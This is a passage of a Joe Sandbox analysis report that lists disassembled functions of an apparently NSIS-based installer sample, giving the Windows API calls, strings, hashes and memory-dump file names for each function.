RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014D2
RegCloseKey.ADVAPI32(?), ref: 004014DC
RegDeleteKeyW.ADVAPI32(?,?), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401507

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: b7b1047d7b61caa8fe547ce2748af7c62e527a8cd6870cf7767c785c66b0234b
Instruction ID: 4f1e1c459a9a950a7738efb8d65c2f41013d72b2fa1f43b4319387a01f4f2cce
Opcode Fuzzy Hash: b7b1047d7b61caa8fe547ce2748af7c62e527a8cd6870cf7767c785c66b0234b
Instruction Fuzzy Hash: FD216032108244BBD7219F51DD08FABBBADFF99354F01043EF989A11B0D7359A149A6A

Function 0040225D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 81
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 0040228C

Part of subcall function 00405D15: lstrlenW.KERNEL32(00424200,?,00000000,?,?), ref: 00405D47
Part of subcall function 00405D15: lstrlenW.KERNEL32(?,00424200,?,00000000,?,?), ref: 00405D59
Part of subcall function 00405D15: lstrcatW.KERNEL32(00424200,?,?,00424200,?,00000000,?,?), ref: 00405D74
Part of subcall function 00405D15: SetWindowTextW.USER32(00424200,00424200), ref: 00405D8C
Part of subcall function 00405D15: SendMessageW.USER32(00000000), ref: 00405DB3
Part of subcall function 00405D15: SendMessageW.USER32(00000000,0000104D,00000000,?), ref: 00405DCE
Part of subcall function 00405D15: SendMessageW.USER32(00000000,00001013,00000000,00000000), ref: 00405DDB

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 004022A0
FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 0040232A

Strings

C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp\System.dll, xrefs: 004022CC, 00402335, 0040233E

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID: C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp\System.dll
API String ID: 334405425-204022868
Opcode ID: 3e76937fbf533376ef978b035049d7e49d7738bfb9437f493f5f4d1363c42f20
Instruction ID: a1346d69ca964d54404f15d64018e456dfdc0067b09238f3cf27b8b50b8900a8
Opcode Fuzzy Hash: 3e76937fbf533376ef978b035049d7e49d7738bfb9437f493f5f4d1363c42f20
Instruction Fuzzy Hash: 6021F832648301A7C711AF619E49A3F76A4AFD8721F60013FF951B12D0DBBC98029A5F

Function 00402656 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp,00000023,?,00000011,00000002), ref: 004026C3
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp,?,?,00000011,00000002), ref: 00402710
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp,?,?,00000011,00000002), ref: 0040271D

Strings

C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp, xrefs: 004026B2, 004026C2, 004026E0, 004026F3, 00402705

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp
API String ID: 2655323295-3260894623
Opcode ID: 64a49f58656c0e9171d0315a18fdd9a6423080c1d69df6ea3e2099172f486d4a
Instruction ID: 31e5bc54edfcad7c1b31027c56fe611cf8d7432ac604a3e5fe606c4c5445a84e
Opcode Fuzzy Hash: 64a49f58656c0e9171d0315a18fdd9a6423080c1d69df6ea3e2099172f486d4a
Instruction Fuzzy Hash: 0F210032604300ABD7119FA0CD45A2FBBE8EB88760F10083EF540F31C0C7B99905879A

Function 004068C1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(UXTHEME,Error writing temporary file. Make sure your temp folder is valid.,UXTHEME,004037EB,0000000B), ref: 004068CF
GetProcAddress.KERNEL32(00000000), ref: 004068EB

Part of subcall function 00406179: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406190
Part of subcall function 00406179: wsprintfW.USER32 ref: 004061CC
Part of subcall function 00406179: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004061E0

Strings

UXTHEME, xrefs: 004068C1, 004068CE, 004068D9
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004068C2

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID: Error writing temporary file. Make sure your temp folder is valid.$UXTHEME
API String ID: 2547128583-890815371
Opcode ID: 8d13772ca545db48d6537eade3d6ef1f8b9852c922338cf59e69f906f7cb5f01
Instruction ID: 8df058e233f66e35bffb69da01c296363a0ab298929cdf7fbd230430fe9e2c9f
Opcode Fuzzy Hash: 8d13772ca545db48d6537eade3d6ef1f8b9852c922338cf59e69f906f7cb5f01
Instruction Fuzzy Hash: BAD05B371022159BC7012F62AE0895F776DEF56351705443AF541F7270DB38D82295FD

Function 00406952 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNELBASE(?,00424200,00000000,?,00000000,00000800,?,00000800,?,?,?,Call,00000000,00000000,00000002,00405F99), ref: 00406999
RegCloseKey.KERNELBASE(?), ref: 004069A4

Strings

Call, xrefs: 00406957

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: e177c4c8d31275a529affa1148de86d575541c8a0c34e9787b67721c9c916039
Instruction ID: 602e610a5625c9c57cce2cfaa1a97c2955b97914b1987e410d3f2042aedcb8ce
Opcode Fuzzy Hash: e177c4c8d31275a529affa1148de86d575541c8a0c34e9787b67721c9c916039
Instruction Fuzzy Hash: 65015EB652010ABADF218FA4DD06EEF7BE8EF44754F11013AF801E22A0D374DA64DB94

Function 00405DF9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 12COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,C:\Users\user\AppData\Local\Temp\,00403CA4,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76073420,0040399D), ref: 00405E01
GetLastError.KERNEL32 ref: 00405E0B

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405DF9

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1375471231-3355392842
Opcode ID: 0648b17569fc2713f910b90d2ba9bcc6c5026819f2e8f4ff2f6a8f9bab12dfc5
Instruction ID: 45d9b0881c8677af27f94d707b600064aa91ade8dc0fdf8d2bf4d46db956c495
Opcode Fuzzy Hash: 0648b17569fc2713f910b90d2ba9bcc6c5026819f2e8f4ff2f6a8f9bab12dfc5
Instruction Fuzzy Hash: 15C012316000309BC7601B65AE089477E94DB547A13064639B988E1110D6304C5486D8

Function 00406E83 Relevance: 5.2, APIs: 4, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18d4879820a4453eecdf162b4afe9d44c77a4ab57f81905e4f0cda94476a9892
Instruction ID: 522defa19930b26a7af3553485d7a536a03fd017600a111de47fbc571b524dd9
Opcode Fuzzy Hash: 18d4879820a4453eecdf162b4afe9d44c77a4ab57f81905e4f0cda94476a9892
Instruction Fuzzy Hash: 4B913371A0C3818BE364CF29C480B6BBBE1AFC9344F10892EE5D997390E774A805CB57

Function 6FC3167A Relevance: 4.6, APIs: 3, Instructions: 123COMMON

Download Yara Rule

APIs

Part of subcall function 6FC32351: GlobalFree.KERNEL32(?), ref: 6FC32A44
Part of subcall function 6FC32351: GlobalFree.KERNEL32(?), ref: 6FC32A4A
Part of subcall function 6FC32351: GlobalFree.KERNEL32(?), ref: 6FC32A50

GlobalFree.KERNEL32(00000000), ref: 6FC31738
FreeLibrary.KERNEL32(?), ref: 6FC317C3
GlobalFree.KERNEL32(00000000), ref: 6FC317E9

Part of subcall function 6FC31FCB: GlobalAlloc.KERNEL32(00000040,?), ref: 6FC31FFA

Part of subcall function 6FC317F7: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,6FC31708,00000000), ref: 6FC3189A

Part of subcall function 6FC31F1E: wsprintfW.USER32 ref: 6FC31F51

Memory Dump Source

Source File: 00000002.00000002.20001269089.000000006FC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6FC30000, based on PE: true

Associated: 00000002.00000002.20001233361.000000006FC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.20001307380.000000006FC34000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.20001344547.000000006FC36000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fc30000_temp_executable.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-0
Opcode ID: c2efb31b0e0d282d17e84f3214f14eadbb574503e3cbf1e5bddd1f816a3b2339
Instruction ID: 8321addc5d0c4073d43b60b4babdcec819e408cefae2037aa452eb5b288a5e29
Opcode Fuzzy Hash: c2efb31b0e0d282d17e84f3214f14eadbb574503e3cbf1e5bddd1f816a3b2339
Instruction Fuzzy Hash: 7541A533D043699FCB609F6CC844BDA37F8BB063E5F04441AF9595A182FB757549C690

Function 00401D01 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 71memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(006B0850), ref: 00401D81
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401D93

Part of subcall function 00405E95: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch,?,?,00424200,?,00000000,?,?,?,00000000,?,?), ref: 0040604B

Strings

Call, xrefs: 00401D21, 00401D27, 00401D41

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: Global$AllocFreelstrcat
String ID: Call
API String ID: 238967769-1824292864
Opcode ID: 794f765053e152cea98927de62d8cc4c5199c0c422dd506438a960a6b0e86f42
Instruction ID: 3a6eff4e9616495b68701e132b411bef72aa922240f6375a3907340b29510e26
Opcode Fuzzy Hash: 794f765053e152cea98927de62d8cc4c5199c0c422dd506438a960a6b0e86f42
Instruction Fuzzy Hash: 7111DF72A12310EBD720AF54DD80A2B73A8FF45718B05443FF946B72D1D738A8109BAE

Function 004027B0 Relevance: 4.6, APIs: 3, Instructions: 53registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004027E8
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 004027FC
RegCloseKey.ADVAPI32(00000000,?,?), ref: 00402818

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: c028264ab791648a7bbc1cf75a691ff53356d3ecc46131e95e2c9a36b3841f24
Instruction ID: 511bfc2a391466f7e6c467a51680e698ffc79b74a509a4b58bb4b7d47538cca8
Opcode Fuzzy Hash: c028264ab791648a7bbc1cf75a691ff53356d3ecc46131e95e2c9a36b3841f24
Instruction Fuzzy Hash: 8D01B531658341ABD3189F61ED88D3BB79CFF85315F11093EF542A2180D7B86904866A

Function 00402728 Relevance: 3.1, APIs: 2, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp,?,?,00000011,00000002), ref: 0040271D
RegQueryValueExW.ADVAPI32(00000000,00000000,?,?,?,?), ref: 0040275E

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: b0a53e88109fa409fa8f4e7cd217f564c495db39997ecceaaa383f5a5d51ab4f
Instruction ID: 691293788ab813f7a02a0c784ea8aced05bc34a113cec979fc9dae3080cb0c68
Opcode Fuzzy Hash: b0a53e88109fa409fa8f4e7cd217f564c495db39997ecceaaa383f5a5d51ab4f
Instruction Fuzzy Hash: 4911A035658302AED7548FA4DA88A2BB3A4EF84315F10053FF142A21D1D7B85909CB5B

Function 004025FF Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040261E
RegCloseKey.ADVAPI32(00000000), ref: 00402627

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: 5b58f1ccd0e981fc5f0d95379a17638c192d39fce6d665bfeee0e3d77dcbd03f
Instruction ID: 38e38bfe0db84342a76dd61cbaa190e5b367477f23a550be25d98ac167cb56e2
Opcode Fuzzy Hash: 5b58f1ccd0e981fc5f0d95379a17638c192d39fce6d665bfeee0e3d77dcbd03f
Instruction Fuzzy Hash: D5F02433645600A7E310ABA49D4AA7E765DAF903A2F11053FF642A61C4CE7E8C46862D

Function 00402048 Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00402061
EnableWindow.USER32(00000000,00000000), ref: 0040206C

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 52fef71910991febb17206dff6bdae22265bb691ab5af8558c030a970d53b9a7
Instruction ID: 5e1a6dc9ac369cb9fdd6eee03f9e71544f162ca31fdf6318b4aac8087fee14a7
Opcode Fuzzy Hash: 52fef71910991febb17206dff6bdae22265bb691ab5af8558c030a970d53b9a7
Instruction Fuzzy Hash: 30E026726483009FE354AF20E94E96AB768EB40326F20043FF940A40C1CB7D2C41867E

Function 004066B1 Relevance: 3.0, APIs: 2, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00425200,?), ref: 004066DA
CloseHandle.KERNEL32(?), ref: 004066E7

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
